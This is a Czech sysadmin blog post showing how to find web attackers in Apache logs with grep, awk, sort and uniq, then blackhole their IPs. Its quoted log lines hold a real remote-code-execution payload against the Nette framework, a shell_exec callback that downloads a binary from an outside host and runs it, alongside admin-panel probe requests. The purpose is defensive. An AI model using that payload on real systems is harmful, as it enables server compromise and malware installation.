Jak najít útočníka?

28. února 2022

Dnes se podíváme na to, jak pomocí pár základních příkazů v Linuxu prohledat logy Apache nebo Nginx a najít zdroj útoků na prezentaci.

Co budeme potřebovat? S přehledem si vystačíme s příkazy awk, cat, grep, ip, sort, tail, uniq, wc, whois a xargs. 

Tak a pojďme na to.

Dejme tomu, že logy Apache máme v nějakém adresáři /var/log/apache2/neco/neco2/neco3/neco4/neco5/ a tam máme X různých access logů. Takže pro účely hledání to zjednodušíme na /var/log/apache2/*/*/*/*/*/a* 

Také to můžete být třeba jenom jeden log Nginx např. /var/log/nginx/access.log

Pokud provozujeme desítky WordPress prezentací, tak server spolehlivě přetíží hledání neexistujícího obsahu. WordPress pro každou 404 stránku generuje obsah jako pro jakoukoli jinou stránku. Bez rozumné cache spolehlivě uštvete databázi. 

Takže se pojďme podívat na vyhledání 404 v logu.

Protože mám nastavený “custom” tvar logu, tak je potřeba se napřed podívat co v tom logu vlastně je – např.:

sxxxxxxxxxxa.cz 216.244.66.199 - - [25/Feb/2022:13:52:32 +0100] "GET /robots.txt HTTP/1.1" 200 101 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)"

Co nás z toho zajímá? První sloupec je název domény (název jsem pozměnil), druhý IP ze které přišel požadavek, osmý je požadovaný soubor, desátý je status code.

Takže můžeme spustit např. 

grep "\" 404 " /var/log/apache2/*/*/*/*/*/a*

V mém případě je výsledek 9742 vypsaných řádků a to rozhodně procházet nehodlám. 

Můžeme odstranit z výsledků nejčastější neexistující soubory (rychlým pohledem na výpis tam mám /favicon.ico a /robots.txt). Takže např. můžeme pustit:

grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* |  grep -v favicon.ico | grep -v robots.txt

Výsledek má 8119 řádků, takže tudy cesta nevede. 

Tak pojďme počítat. Ve druhém sloupci máme IP ze které přišel požadavek. Tady se nám hodí awk. Použijeme awk ‚{print $2}‘, což nám vypíše pouze obsah druhého sloupce. Pak výsledek seřadíme, spočítáme unikátní výsledky a nakonec seřadíme vzestupně. Výsledný příkaz vypadá následovně:

grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* |  grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n

V mém případě to je 573 řádků, tak si vypíšeme jenom pár posledních pomocí tail:

grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* |  grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n | tail

# grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* |  grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n | tail

  49 45.146.165.37

  49 54.174.1.89

  59 213.155.230.216

  66 87.251.85.227

  68 5.188.62.214

  85 103.1.212.247

  99 51.91.7.5

  976 118.175.245.202

2369 46.101.63.152

2508 89.201.119.99

Tady už máme první použitelné výsledky. Podíváme se do logu, co za požadavky chodí z IP 89.201.119.99. Protože nás v zásadě nezajímá ve kterém z logů se ta IP vyskytuje, použijeme parametr -h u příkazu grep:

# grep -h 89.201.119.99 /var/log/apache2/*/*/*/*/*/a* | tail

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:18 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:19 +0100] "GET /phpMyAdmin-5.1.1-english/index.php?lang=en HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:19 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:20 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:20 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:21 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:21 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:22 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:22 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 223 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:23 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

A zcela očekávaně jsme našli nějaký “scanner” který hledá na našem serveru zneužitelné skripty. Takže se podíváme komu ta IP patří:

# whois 89.201.119.99

% This is the RIPE Database query service.

% The objects are in RPSL format.

%

% The RIPE Database is subject to Terms and Conditions.

% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.

%   To receive output for a database update, use the "-B" flag.

% Information related to '89.201.112.0 - 89.201.119.255'

% Abuse contact for '89.201.112.0 - 89.201.119.255' is 'core@baltcom.lv'

inetnum:    89.201.112.0 - 89.201.119.255

netname:    MBALT-NET

descr:      MultitoneBalt

country:    LV

admin-c:    BTV777-RIPE

tech-c:     BTV777-RIPE

status:     ASSIGNED PA

mnt-by:     BALTKOM-MNT

created:    2007-10-19T09:07:01Z

last-modified:  2013-01-03T09:26:40Z

source:     RIPE

role:       SIA Baltcom

address:    Latvia, Riga, Maskavas 322

nic-hdl:    BTV777-RIPE

mnt-by:     BALTKOM-MNT

created:    2012-11-09T10:41:07Z

last-modified:  2021-12-09T09:25:07Z

source:     RIPE # Filtered

abuse-mailbox:  core@baltcom.lv

% Information related to '89.201.0.0/17AS20910'

route:      89.201.0.0/17

descr:      BALTKOM

descr:      Riga, Latvia

origin:     AS20910

mnt-by:     BALTKOM-MNT

created:    2006-05-15T14:44:07Z

last-modified:  2006-05-15T14:44:07Z

source:     RIPE

% This query was served by the RIPE Database Query Service version 1.102.2 (HEREFORD)

Můžeme se podívat, co je to za stroj, co na něm běží a napsat e-mail na abuse contact, ale z mé mnohaleté zkušenosti můžu prohlásit, že je to ztráta času. Pokud vůbec někdo odpoví, tak maximálně to, že pokud nemám v ruce soudní příkaz, tak s tím nic nebudou dělat.

Takže čistě jenom pro zajímavost se podíváme, co na dané IP běží:

# nmap -sS 89.201.119.99

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-25 15:02 CET

Nmap scan report for 89.201.119.99

Host is up (0.036s latency).

Not shown: 992 filtered ports

PORT STATE  SERVICE

20/tcp   closed ftp-data

21/tcp   open   ftp

22/tcp   closed ssh

80/tcp   open   http

443/tcp  open   https

8080/tcp open   http-proxy

8081/tcp open   blackice-icecap

8899/tcp closed ospf-lite

Nmap done: 1 IP address (1 host up) scanned in 4.96 seconds

Takže viditelně nějaký VPS s nějakými weby. Další krok? Zablokovat IP na firewallu. Stejný postup použijeme pro další IP ze seznamu. Většinou je na první pohled vidět,  o co se jedná:

# grep -h 118.175.245.202 /var/log/apache2/*/*/*/*/*/a* | tail

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:26 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /sql/index.php HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /SQL/index.php HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /websql/index.php HTTP/1.1" 404 214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:28 +0100] "GET /manager/html HTTP/1.1" 404 210 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "POST /axis2/axis2-admin/login HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "GET /login HTTP/1.1" 404 203 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"

xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "GET /jenkins/login HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"

Protože pro aktivní zneužití se nejčastěji využívaji POST požadavky, můžeme prohledat logy na výskyt 404 a POST (musel jsem vyloučit autodiscover.xml kvůli chybnému nastavení MS Exchange serveru na jedné z domén na serveru):

# grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep POST | grep -v autodiscover.xml | awk '{print $2}' | sort | uniq -c | sort -n | tail

   2 95.80.217.226

   3 185.19.1.114

   3 91.102.224.108

   3 91.102.224.113

   4 15.188.158.194

   4 176.98.43.37

   5 2a00:19a0:3:72:0:d9c6:72b9:1

   5 65.21.134.110

21 216.83.55.14

29 111.67.203.51

Ta čísla jsou řádově nižší, ale výsledky jsou užitečnější:

# grep -h 111.67.203.51 /var/log/apache2/cronolog-output/2022/*/*/*/a* | tail -n 30

lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:45 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/12132**

lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:46 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/11456**

lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/16791**

lixxxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/11702**

lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 40579 "-" "python-requests/2.27.1" **0/29741**

lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 40579 "-" "python-requests/2.27.1" **0/26362**

lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 43965 "-" "python-requests/2.27.1" **0/24425**

lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:48 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 43965 "-" "python-requests/2.27.1" **0/25277**

nidxxxr.cz 111.67.203.51 - - [25/Feb/2022:14:36:04 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 503 981 "-" "python-requests/2.27.1" **0/48295**

solaxxxal.cz 111.67.203.51 - - [25/Feb/2022:14:37:54 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 302 - "-" "python-requests/2.27.1" **0/11791**

solaxxxbal.cz 111.67.203.51 - - [25/Feb/2022:14:37:54 +0100] "GET / HTTP/1.1" 200 11757 "-" "python-requests/2.27.1" **0/32621**

zixxxnn.cz 111.67.203.51 - - [25/Feb/2022:14:41:06 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 213 "-" "python-requests/2.27.1" **0/115705**

zixxxnn.cz 111.67.203.51 - - [25/Feb/2022:14:41:07 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 8019 "-" "python-requests/2.27.1" **0/20643**

paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:23 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 213 "-" "python-requests/2.27.1" **0/40948**

paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:23 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/65488**

paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:24 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/53445**

paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:25 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/76488**

paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:27 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 217 "-" "python-requests/2.27.1" **0/28420**

paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/54503**

csxxxh.cz 111.67.203.51 - - [25/Feb/2022:14:42:46 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 500 718 "-" "python-requests/2.27.1" **0/81350**

csxxxh.cz 111.67.203.51 - - [25/Feb/2022:14:43:10 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 500 718 "-" "python-requests/2.27.1" **0/68099**

kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:36 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 224 "-" "python-requests/2.27.1" **0/48305**

kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:37 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 200 3802 "-" "python-requests/2.27.1" **0/36884**

kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:52 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 223 "-" "python-requests/2.27.1" **0/23975**

kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:53 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 200 3804 "-" "python-requests/2.27.1" **0/36225**

sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:58 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 226 "-" "python-requests/2.27.1" **0/20194**

sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:59 +0100] "GET /produkty/nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 302 113 "-" "python-requests/2.27.1" **0/34464**

sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:59 +0100] "GET /produkty/?_fid=8p29 HTTP/1.1" 200 7334 "-" "python-requests/2.27.1" **0/36501**

rezerxxxany.cz 111.67.203.51 - - [25/Feb/2022:15:17:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 2410 "-" "python-requests/2.27.1" **0/56610**

edexxxxxny.cz 111.67.203.51 - - [25/Feb/2022:15:17:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 4902 "-" "python-requests/2.27.1" **0/58858**

Podtrženo, sečteno, slepé útoky jsou velmi snadno odhalitelné a dá se jim dobře bránit. Pokud nemáte před svým serverem firewall, nebo nemáte možnost blokovat útoky na hraničním routeru, tak nejjednodušší cestou jak blokovat nežádoucí provoz je routovat provoz z útočníkovy IP do blackhole. 

Takže z předchozího příkladu máme 100% vzor podle kterého můžeme blokovat útok. Vybereme požadavky z IP obsahující shell_exec a chmod. 

# cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq -c | sort -n

  24 219.77.31.84

  28 209.141.32.37

  55 111.67.203.51

  86 103.172.125.63

430 2407:d340:f020::5b39:5962

Nic nám nebrání ty IP rovnou zablokovat: 

Upravíme příkaz, tak aby nám zbyly jenom IP

cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq

a přidáme routovací pravidla do blackhole. Celé to pak vypadá následovně:

cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq | xargs -n1 ip route add blackhole

Můžeme pro jistotu zkontrolovat, jestli to funguje:

# ip -6 route show | grep 2407:d340:f020::5b39:5962

blackhole 2407:d340:f020::5b39:5962 dev lo metric 1024 pref medium

Dva příkazy, co se můžou hodit. Odstraní  všechny IPv6  a IPv4 z blackhole routingu:

ip -6 route sh | grep blackhole | awk '{print $2}' | xargs -n1 ip -6 route del blackhole

ip route sh | grep blackhole | awk '{print $2}' | xargs -n1 ip route del blackhole

Na závěr snad jenom malé varování. Než pustíte jakýkoliv skript který přímo blokuje IP, prověřte že hledaný vzor je opravdu dostatečně unikátní. 

 

Mohlo by vás také zajímat

Nejnovější

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *